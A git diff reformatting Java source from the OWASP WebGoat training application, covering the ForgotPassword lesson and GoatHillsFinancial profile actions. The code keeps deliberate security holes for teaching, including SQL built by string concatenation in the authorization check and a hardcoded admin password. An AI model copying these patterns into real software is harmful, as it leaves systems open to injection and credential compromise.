USERS.put("admin", "2275$starBo0rn3"); USERS.put("admin", "2275$starBo0rn3");
@ -88,7 +88,6 @@ public class ForgotPassword extends LessonAdapter
COLORS.put("webgoat", "red"); COLORS.put("webgoat", "red");
} }
protected Element doStage1(WebSession s) protected Element doStage1(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
@ -102,7 +101,9 @@ public class ForgotPassword extends LessonAdapter
} }
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TH().addElement("Please input your username. See the OWASP admin if you do not have an account.").setColSpan(2).setAlign("left")); tr.addElement(new TH()
.addElement("Please input your username. See the OWASP admin if you do not have an account.")
.setColSpan(2).setAlign("left"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
@ -127,7 +128,6 @@ public class ForgotPassword extends LessonAdapter
return (ec); return (ec);
} }
protected Element doStage2(WebSession s) protected Element doStage2(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
@ -141,7 +141,8 @@ public class ForgotPassword extends LessonAdapter
} }
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TH().addElement("Secret Question: What is your favorite color?").setColSpan(2).setAlign("left")); tr.addElement(new TH().addElement("Secret Question: What is your favorite color?").setColSpan(2)
.setAlign("left"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
@ -166,7 +167,6 @@ public class ForgotPassword extends LessonAdapter
return (ec); return (ec);
} }
protected Element doStage3(WebSession s) protected Element doStage3(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
@ -180,11 +180,13 @@ public class ForgotPassword extends LessonAdapter
} }
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TH().addElement("For security reasons, please change your password immediately.").setColSpan(2).setAlign("left")); tr.addElement(new TH().addElement("For security reasons, please change your password immediately.")
.setColSpan(2).setAlign("left"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement(new BR().addElement(new B().addElement(new StringElement("Results:")))).setAlign("left")); tr.addElement(new TD().addElement(new BR().addElement(new B().addElement(new StringElement("Results:"))))
.setAlign("left"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
@ -212,11 +214,11 @@ public class ForgotPassword extends LessonAdapter
return ec; return ec;
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
@ -281,7 +283,6 @@ public class ForgotPassword extends LessonAdapter
return ec; return ec;
} }
/** /**
* Gets the category attribute of the ForgotPassword object * Gets the category attribute of the ForgotPassword object
* *
@ -293,7 +294,6 @@ public class ForgotPassword extends LessonAdapter
return Category.AUTHENTICATION; return Category.AUTHENTICATION;
} }
/** /**
* Gets the hints attribute of the HelloScreen object * Gets the hints attribute of the HelloScreen object
* *
@ -313,13 +313,11 @@ public class ForgotPassword extends LessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(15); private final static Integer DEFAULT_RANKING = new Integer(15);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the HelloScreen object * Gets the title attribute of the HelloScreen object
* *
@ -330,7 +328,6 @@ public class ForgotPassword extends LessonAdapter
return ("Forgot Password"); return ("Forgot Password");
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("", ASPECT_LOGO); return super.getCustomCredits("", ASPECT_LOGO);

112
main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/DefaultLessonAction.java
View File

@ -1,42 +1,42 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial; package org.owasp.webgoat.lessons.GoatHillsFinancial;
import java.sql.PreparedStatement; import java.sql.PreparedStatement;
import java.sql.ResultSet; import java.sql.ResultSet;
import java.sql.SQLException; import java.sql.SQLException;
import java.sql.Statement; import java.sql.Statement;
import org.owasp.webgoat.lessons.RoleBasedAccessControl.RoleBasedAccessControl; import org.owasp.webgoat.lessons.RoleBasedAccessControl.RoleBasedAccessControl;
import org.owasp.webgoat.session.ParameterNotFoundException; import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException; import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException; import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException; import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
@ -55,8 +55,8 @@ public abstract class DefaultLessonAction implements LessonAction
this.actionName = actionName; this.actionName = actionName;
} }
public void handleRequest( WebSession s ) public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
throws ParameterNotFoundException, UnauthenticatedException, UnauthorizedException, ValidationException UnauthorizedException, ValidationException
{ {
getLesson().setCurrentAction(s, getActionName()); getLesson().setCurrentAction(s, getActionName());
@ -102,10 +102,7 @@ public abstract class DefaultLessonAction implements LessonAction
protected String getSessionAttribute(WebSession s, String name) throws ParameterNotFoundException protected String getSessionAttribute(WebSession s, String name) throws ParameterNotFoundException
{ {
String value = (String) s.getRequest().getSession().getAttribute(name); String value = (String) s.getRequest().getSession().getAttribute(name);
if (value == null) if (value == null) { throw new ParameterNotFoundException(); }
{
throw new ParameterNotFoundException();
}
return value; return value;
} }
@ -121,8 +118,10 @@ public abstract class DefaultLessonAction implements LessonAction
} }
else else
{ {
//System.out.println("Attribute " + name + " is of type " + s.getRequest().getSession().getAttribute(name).getClass().getName()); // System.out.println("Attribute " + name + " is of type " +
//System.out.println("Attribute value: " + s.getRequest().getSession().getAttribute(name)); // s.getRequest().getSession().getAttribute(name).getClass().getName());
// System.out.println("Attribute value: " +
// s.getRequest().getSession().getAttribute(name));
value = ((Boolean) attribute).booleanValue(); value = ((Boolean) attribute).booleanValue();
} }
return value; return value;
@ -141,8 +140,7 @@ public abstract class DefaultLessonAction implements LessonAction
try try
{ {
value = Integer.parseInt(ss); value = Integer.parseInt(ss);
} } catch (NumberFormatException nfe)
catch (NumberFormatException nfe)
{ {
} }
} }
@ -153,10 +151,7 @@ public abstract class DefaultLessonAction implements LessonAction
protected String getRequestAttribute(WebSession s, String name) throws ParameterNotFoundException protected String getRequestAttribute(WebSession s, String name) throws ParameterNotFoundException
{ {
String value = (String) s.getRequest().getAttribute(name); String value = (String) s.getRequest().getAttribute(name);
if (value == null) if (value == null) { throw new ParameterNotFoundException(); }
{
throw new ParameterNotFoundException();
}
return value; return value;
} }
@ -174,8 +169,7 @@ public abstract class DefaultLessonAction implements LessonAction
try try
{ {
value = Integer.parseInt(ss); value = Integer.parseInt(ss);
} } catch (NumberFormatException nfe)
catch (NumberFormatException nfe)
{ {
} }
} }
@ -199,18 +193,16 @@ public abstract class DefaultLessonAction implements LessonAction
try try
{ {
Statement answer_statement = WebSession.getConnection(s).createStatement( ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY ); Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query); ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next()) if (answer_results.next()) name = answer_results.getString("first_name");
name = answer_results.getString("first_name"); } catch (SQLException sqle)
}
catch ( SQLException sqle )
{ {
s.setMessage("Error getting user name"); s.setMessage("Error getting user name");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch ( Exception e )
{ {
s.setMessage("Error getting user name"); s.setMessage("Error getting user name");
e.printStackTrace(); e.printStackTrace();
@ -232,8 +224,7 @@ public abstract class DefaultLessonAction implements LessonAction
try try
{ {
authenticated = getBooleanSessionAttribute(s, getLessonName() + ".isAuthenticated"); authenticated = getBooleanSessionAttribute(s, getLessonName() + ".isAuthenticated");
} } catch (ParameterNotFoundException e)
catch (ParameterNotFoundException e)
{ {
} }
@ -242,33 +233,39 @@ public abstract class DefaultLessonAction implements LessonAction
public boolean isAuthorized(WebSession s, int employeeId, String functionId) public boolean isAuthorized(WebSession s, int employeeId, String functionId)
{ {
String employer_id = (String)s.getRequest().getSession().getAttribute(getLessonName() + "." + RoleBasedAccessControl.USER_ID); String employer_id = (String) s.getRequest().getSession()
//System.out.println("Authorizing " + employeeId + " for use of function: " + functionId + " having USER_ID = " + employer_id ); .getAttribute(getLessonName() + "." + RoleBasedAccessControl.USER_ID);
// System.out.println("Authorizing " + employeeId + " for use of function: " + functionId +
// " having USER_ID = "
// + employer_id );
boolean authorized = false; boolean authorized = false;
try try
{ {
String query = "SELECT * FROM auth WHERE auth.role in (SELECT roles.role FROM roles WHERE userid = " + employeeId + ") and functionid = '" + functionId + "'"; String query = "SELECT * FROM auth WHERE auth.role in (SELECT roles.role FROM roles WHERE userid = "
+ employeeId + ") and functionid = '" + functionId + "'";
try try
{ {
Statement answer_statement = WebSession.getConnection(s).createStatement( ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY ); Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query); ResultSet answer_results = answer_statement.executeQuery(query);
authorized = answer_results.first(); authorized = answer_results.first();
/* User is validated for function, but can the user perform that function on the specified user? */ /*
* User is validated for function, but can the user perform that function on the
* specified user?
*/
if (authorized) if (authorized)
{ {
authorized = isAuthorizedForEmployee(s, Integer.parseInt(employer_id), employeeId); authorized = isAuthorizedForEmployee(s, Integer.parseInt(employer_id), employeeId);
} }
} } catch (SQLException sqle)
catch ( SQLException sqle )
{ {
s.setMessage("Error authorizing"); s.setMessage("Error authorizing");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch ( Exception e )
{ {
s.setMessage("Error authorizing"); s.setMessage("Error authorizing");
e.printStackTrace(); e.printStackTrace();
@ -290,20 +287,18 @@ public abstract class DefaultLessonAction implements LessonAction
try try
{ {
PreparedStatement answer_statement = WebSession.getConnection(s).prepareStatement( query, PreparedStatement answer_statement = WebSession.getConnection(s)
ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY ); .prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
answer_statement.setInt(1, userId); answer_statement.setInt(1, userId);
answer_statement.setInt(2, employeeId); answer_statement.setInt(2, employeeId);
ResultSet answer_results = answer_statement.executeQuery(); ResultSet answer_results = answer_statement.executeQuery();
authorized = answer_results.first(); authorized = answer_results.first();
} } catch (SQLException sqle)
catch ( SQLException sqle )
{ {
s.setMessage("Error authorizing"); s.setMessage("Error authorizing");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch ( Exception e )
{ {
s.setMessage("Error authorizing"); s.setMessage("Error authorizing");
e.printStackTrace(); e.printStackTrace();
@ -317,7 +312,8 @@ public abstract class DefaultLessonAction implements LessonAction
getLesson().setStage(s, stage); getLesson().setStage(s, stage);
} }
protected void setStageComplete(WebSession s, String stage) { protected void setStageComplete(WebSession s, String stage)
{
getLesson().setStageComplete(s, stage); getLesson().setStageComplete(s, stage);
} }

65
main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/DeleteProfile.java
View File

@ -1,41 +1,40 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial; package org.owasp.webgoat.lessons.GoatHillsFinancial;
import java.sql.ResultSet; import java.sql.ResultSet;
import java.sql.SQLException; import java.sql.SQLException;
import java.sql.Statement; import java.sql.Statement;
import org.owasp.webgoat.session.ParameterNotFoundException; import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException; import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException; import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException; import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
@ -44,23 +43,19 @@ public class DeleteProfile extends DefaultLessonAction
private LessonAction chainedAction; private LessonAction chainedAction;
public DeleteProfile(GoatHillsFinancial lesson, String lessonName, public DeleteProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
String actionName, LessonAction chainedAction)
{ {
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
this.chainedAction = chainedAction; this.chainedAction = chainedAction;
} }
public void handleRequest(WebSession s) throws ParameterNotFoundException, public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
UnauthenticatedException, UnauthorizedException, UnauthorizedException, ValidationException
ValidationException
{ {
getLesson().setCurrentAction(s, getActionName()); getLesson().setCurrentAction(s, getActionName());
int userId = getIntSessionAttribute(s, getLessonName() + "." int userId = getIntSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID);
+ GoatHillsFinancial.USER_ID); int employeeId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID);
int employeeId = s.getParser().getIntParameter(
GoatHillsFinancial.EMPLOYEE_ID);
if (isAuthenticated(s)) if (isAuthenticated(s))
{ {
@ -69,13 +64,11 @@ public class DeleteProfile extends DefaultLessonAction
try try
{ {
chainedAction.handleRequest(s); chainedAction.handleRequest(s);
} } catch (UnauthenticatedException ue1)
catch (UnauthenticatedException ue1)
{ {
System.out.println("Internal server error"); System.out.println("Internal server error");
ue1.printStackTrace(); ue1.printStackTrace();
} } catch (UnauthorizedException ue2)
catch (UnauthorizedException ue2)
{ {
System.out.println("Internal server error"); System.out.println("Internal server error");
ue2.printStackTrace(); ue2.printStackTrace();
@ -91,8 +84,7 @@ public class DeleteProfile extends DefaultLessonAction
return GoatHillsFinancial.LISTSTAFF_ACTION; return GoatHillsFinancial.LISTSTAFF_ACTION;
} }
public void deleteEmployeeProfile(WebSession s, int userId, int employeeId) public void deleteEmployeeProfile(WebSession s, int userId, int employeeId) throws UnauthorizedException
throws UnauthorizedException
{ {
try try
{ {
@ -101,18 +93,15 @@ public class DeleteProfile extends DefaultLessonAction
// System.out.println("Query: " + query); // System.out.println("Query: " + query);
try try
{ {
Statement statement = WebSession.getConnection(s) Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
statement.executeUpdate(query); statement.executeUpdate(query);
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
s.setMessage("Error deleting employee profile"); s.setMessage("Error deleting employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error deleting employee profile"); s.setMessage("Error deleting employee profile");
e.printStackTrace(); e.printStackTrace();

91
main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/EditProfile.java
View File

@ -1,67 +1,63 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial; package org.owasp.webgoat.lessons.GoatHillsFinancial;
import java.sql.PreparedStatement; import java.sql.PreparedStatement;
import java.sql.ResultSet; import java.sql.ResultSet;
import java.sql.SQLException; import java.sql.SQLException;
import org.owasp.webgoat.session.Employee; import org.owasp.webgoat.session.Employee;
import org.owasp.webgoat.session.ParameterNotFoundException; import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException; import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException; import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
public class EditProfile extends DefaultLessonAction public class EditProfile extends DefaultLessonAction
{ {
public EditProfile(GoatHillsFinancial lesson, String lessonName, public EditProfile(GoatHillsFinancial lesson, String lessonName, String actionName)
String actionName)
{ {
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
} }
public void handleRequest(WebSession s) throws ParameterNotFoundException, public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
UnauthenticatedException, UnauthorizedException UnauthorizedException
{ {
getLesson().setCurrentAction(s, getActionName()); getLesson().setCurrentAction(s, getActionName());
if (isAuthenticated(s)) if (isAuthenticated(s))
{ {
int userId = getUserId(s); int userId = getUserId(s);
int employeeId = s.getParser().getIntParameter( int employeeId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID);
GoatHillsFinancial.EMPLOYEE_ID);
Employee employee = getEmployeeProfile(s, userId, employeeId); Employee employee = getEmployeeProfile(s, userId, employeeId);
setSessionAttribute(s, getLessonName() + "." setSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ATTRIBUTE_KEY, employee);
+ GoatHillsFinancial.EMPLOYEE_ATTRIBUTE_KEY, employee);
} }
else else
throw new UnauthenticatedException(); throw new UnauthenticatedException();
@ -72,8 +68,7 @@ public class EditProfile extends DefaultLessonAction
return GoatHillsFinancial.EDITPROFILE_ACTION; return GoatHillsFinancial.EDITPROFILE_ACTION;
} }
public Employee getEmployeeProfile(WebSession s, int userId, public Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
int subjectUserId) throws UnauthorizedException
{ {
Employee profile = null; Employee profile = null;
@ -84,43 +79,31 @@ public class EditProfile extends DefaultLessonAction
try try
{ {
PreparedStatement answer_statement = WebSession PreparedStatement answer_statement = WebSession.getConnection(s)
.getConnection(s).prepareStatement(query, .prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
answer_statement.setInt(1, subjectUserId); answer_statement.setInt(1, subjectUserId);
ResultSet answer_results = answer_statement.executeQuery(); ResultSet answer_results = answer_statement.executeQuery();
if (answer_results.next()) if (answer_results.next())
{ {
// Note: Do NOT get the password field. // Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"), profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("first_name"), answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
answer_results.getString("last_name"), .getString("title"), answer_results.getString("phone"), answer_results
answer_results.getString("ssn"), answer_results .getString("address1"), answer_results.getString("address2"), answer_results
.getString("title"), answer_results .getInt("manager"), answer_results.getString("start_date"), answer_results
.getString("phone"), answer_results .getInt("salary"), answer_results.getString("ccn"), answer_results
.getString("address1"), answer_results .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("address2"), answer_results .getString("disciplined_notes"), answer_results.getString("personal_description"));
.getInt("manager"), answer_results /*
.getString("start_date"), answer_results * System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
.getInt("salary"), answer_results * profile.getLastName() + " (" + profile.getId() + ")");
.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
*/} */}
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
e.printStackTrace(); e.printStackTrace();

119
main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/FindProfile.java
View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial; package org.owasp.webgoat.lessons.GoatHillsFinancial;
import java.sql.PreparedStatement; import java.sql.PreparedStatement;
import java.sql.ResultSet; import java.sql.ResultSet;
import java.sql.SQLException; import java.sql.SQLException;
import org.owasp.webgoat.session.Employee; import org.owasp.webgoat.session.Employee;
import org.owasp.webgoat.session.ParameterNotFoundException; import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException; import org.owasp.webgoat.session.UnauthenticatedException;
@ -11,32 +11,31 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException; import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
@ -45,26 +44,20 @@ public class FindProfile extends DefaultLessonAction
private LessonAction chainedAction; private LessonAction chainedAction;
public FindProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
public FindProfile(GoatHillsFinancial lesson, String lessonName,
String actionName, LessonAction chainedAction)
{ {
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
this.chainedAction = chainedAction; this.chainedAction = chainedAction;
} }
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthorizedException, ValidationException
UnauthenticatedException, UnauthorizedException,
ValidationException
{ {
if (isAuthenticated(s)) if (isAuthenticated(s))
{ {
int userId = getIntSessionAttribute(s, getLessonName() + "." int userId = getIntSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID);
+ GoatHillsFinancial.USER_ID);
String pattern = s.getParser().getRawParameter( String pattern = s.getParser().getRawParameter(GoatHillsFinancial.SEARCHNAME);
GoatHillsFinancial.SEARCHNAME);
findEmployeeProfile(s, userId, pattern); findEmployeeProfile(s, userId, pattern);
@ -74,13 +67,11 @@ public class FindProfile extends DefaultLessonAction
try try
{ {
chainedAction.handleRequest(s); chainedAction.handleRequest(s);
} } catch (UnauthenticatedException ue1)
catch (UnauthenticatedException ue1)
{ {
System.out.println("Internal server error"); System.out.println("Internal server error");
ue1.printStackTrace(); ue1.printStackTrace();
} } catch (UnauthorizedException ue2)
catch (UnauthorizedException ue2)
{ {
System.out.println("Internal server error"); System.out.println("Internal server error");
ue2.printStackTrace(); ue2.printStackTrace();
@ -91,41 +82,34 @@ public class FindProfile extends DefaultLessonAction
throw new UnauthenticatedException(); throw new UnauthenticatedException();
} }
public String getNextPage(WebSession s) public String getNextPage(WebSession s)
{ {
String page = GoatHillsFinancial.SEARCHSTAFF_ACTION; String page = GoatHillsFinancial.SEARCHSTAFF_ACTION;
if (foundEmployee(s)) if (foundEmployee(s)) page = GoatHillsFinancial.VIEWPROFILE_ACTION;
page = GoatHillsFinancial.VIEWPROFILE_ACTION;
return page; return page;
} }
private boolean foundEmployee(WebSession s) private boolean foundEmployee(WebSession s)
{ {
boolean found = false; boolean found = false;
try try
{ {
getIntRequestAttribute(s, getLessonName() + "." getIntRequestAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID);
+ GoatHillsFinancial.EMPLOYEE_ID);
found = true; found = true;
} catch (ParameterNotFoundException e)
{
} }
catch (ParameterNotFoundException e)
{}
return found; return found;
} }
public Employee findEmployeeProfile(WebSession s, int userId, String pattern) throws UnauthorizedException
public Employee findEmployeeProfile(WebSession s, int userId, String pattern)
throws UnauthorizedException
{ {
Employee profile = null; Employee profile = null;
// Clear any residual employee id's in the session now. // Clear any residual employee id's in the session now.
